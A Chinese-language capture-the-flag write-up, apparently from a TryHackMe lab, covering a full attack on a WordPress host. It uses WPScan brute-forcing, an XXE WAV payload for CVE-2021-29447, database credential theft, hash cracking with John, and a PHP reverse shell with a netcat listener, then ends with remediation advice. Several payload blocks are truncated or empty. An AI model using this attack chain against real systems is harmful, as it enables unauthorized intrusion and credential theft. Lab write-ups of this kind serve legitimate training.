目标是针对基于 WordPress 的 Web 应用进行全面的安全评估,最终实现服务器的完全入侵。评估将重点利用一个特定的真实世界漏洞(CVE-2021-29447)来获取初始访问权限。
项目目标:演示针对易受攻击的WordPress安装的完整攻击链,利用CVE-2021-29447(媒体库中的XXE)实现远程代码执行并完全攻陷系统。
阶段1:侦察与信息收集 使用Nmap进行网络扫描:
bash
nmap -sS -T4 10.201.3.95
nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan 结果:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 使用WPScan进行WordPress枚举:
bash
wpscan --url http://10.201.3.95/ --enumerate u
wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt 获取的凭证:
用户名:test-corp | 密码:test
用户名:corp-001 | 密码:teddybear(稍后破解)
阶段2:初始访问 - XXE漏洞利用(CVE-2021-29447) 创建恶意WAV文件:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav 外部DTD载荷(yup.dtd):
xml
">用于数据外泄的HTTP服务器:
bash python3 -m http.server 8000 数据解码PHP脚本:
php
提取的数据库凭证:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); 阶段3:数据库访问与凭证收集 MySQL连接:
bash mysql -h 10.201.3.95 -u thedarktangent -p 执行的SQL查询:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; 获取的用户哈希:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ 使用John the Ripper破解密码:
bash
cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt 破解的密码:
corp-001:teddybear
test-corp:test
阶段4:权限提升与RCE 反向Shell载荷(修改的Hello Dolly插件):
php
Netcat监听器:
bash nc -nvlp 4444 获取的Shell访问:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) 阶段5:后渗透(待完成) 下次会话的命令:
bash
find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release 安全发现与建议 已识别的关键漏洞:
CVE-2021-29447 - WordPress媒体库的XML外部实体处理
弱密码策略 - 易猜测的密码(test, teddybear)
暴露的数据库服务 - MySQL可远程访问
过时的软件 - WordPress 5.6.2存在已知漏洞
过高的用户权限 - 非管理员用户具有插件修改权限
修复建议:
立即更新到最新的WordPress版本
实施强密码策略和双重身份验证(2FA)
将数据库访问限制为仅本地主机
定期安全修补和漏洞扫描
用户账户遵循最小权限原则
项目状态:90%完成 - 已获得反向Shell,最终旗标捕获和权限提升等待新IP分配。
第2部分 !旗标 最终阶段:后渗透与旗标捕获 目标:实现完全系统攻陷并捕获最终旗标。
执行的操作:
反向Shell激活:
在WordPress管理面板(/wp-admin/plugin-editor.php)中编辑了hello.php插件文件
插入了一个PHP反向Shell载荷,配置为连接回我们的Kali机器(10.201.6.187:4444)
通过访问 http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php 执行载荷
成功获取Shell:
以www-data用户身份获得反向Shell连接
Shell输出:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) 文件系统探索:
发现用户目录:/home/stux/
找到旗标目录:/home/stux/flag/
定位旗标文件:/home/stux/flag/flag.txt
旗标提取:
执行的命令:cat /home/stux/flag/flag.txt
捕获的旗标:thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
完整攻击链总结 阶段 使用的技术 结果
CVE-2021-29447 - WordPress媒体库的XML外部实体处理
弱密码策略 - 易猜测的密码(test, teddybear)
过高的用户权限 - 非管理员用户能够修改插件
过时的软件 - WordPress 5.6.2存在已知漏洞
信息泄露 - wp-config.php中的数据库凭证
安全建议:
✅ 立即更新到最新的WordPress版本
✅ 实施强密码策略并启用双重身份验证(2FA)
✅ 定期安全修补和漏洞扫描
✅ 用户账户遵循最小权限原则
✅ 限制文件上传功能和XML处理
结论 Project Chimera成功演示了从初始侦察到完全系统攻陷的完整攻击链。该练习突显了一个看似微不足道的XML解析漏洞(CVE-2021-29447)如何与糟糕的安全实践相结合,导致完全的系统接管。
该项目强调了以下方面的重要性:
定期软件更新和补丁管理
强大的身份验证机制
适当的访问控制和权限管理
全面的安全监控
最终状态:✅ 100%完成 - 所有目标已达成,旗标已捕获:thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Project Chimera有力地提醒我们,安全需要纵深防御,因为一个漏洞与其他安全弱点结合时,可能导致完全的系统攻陷。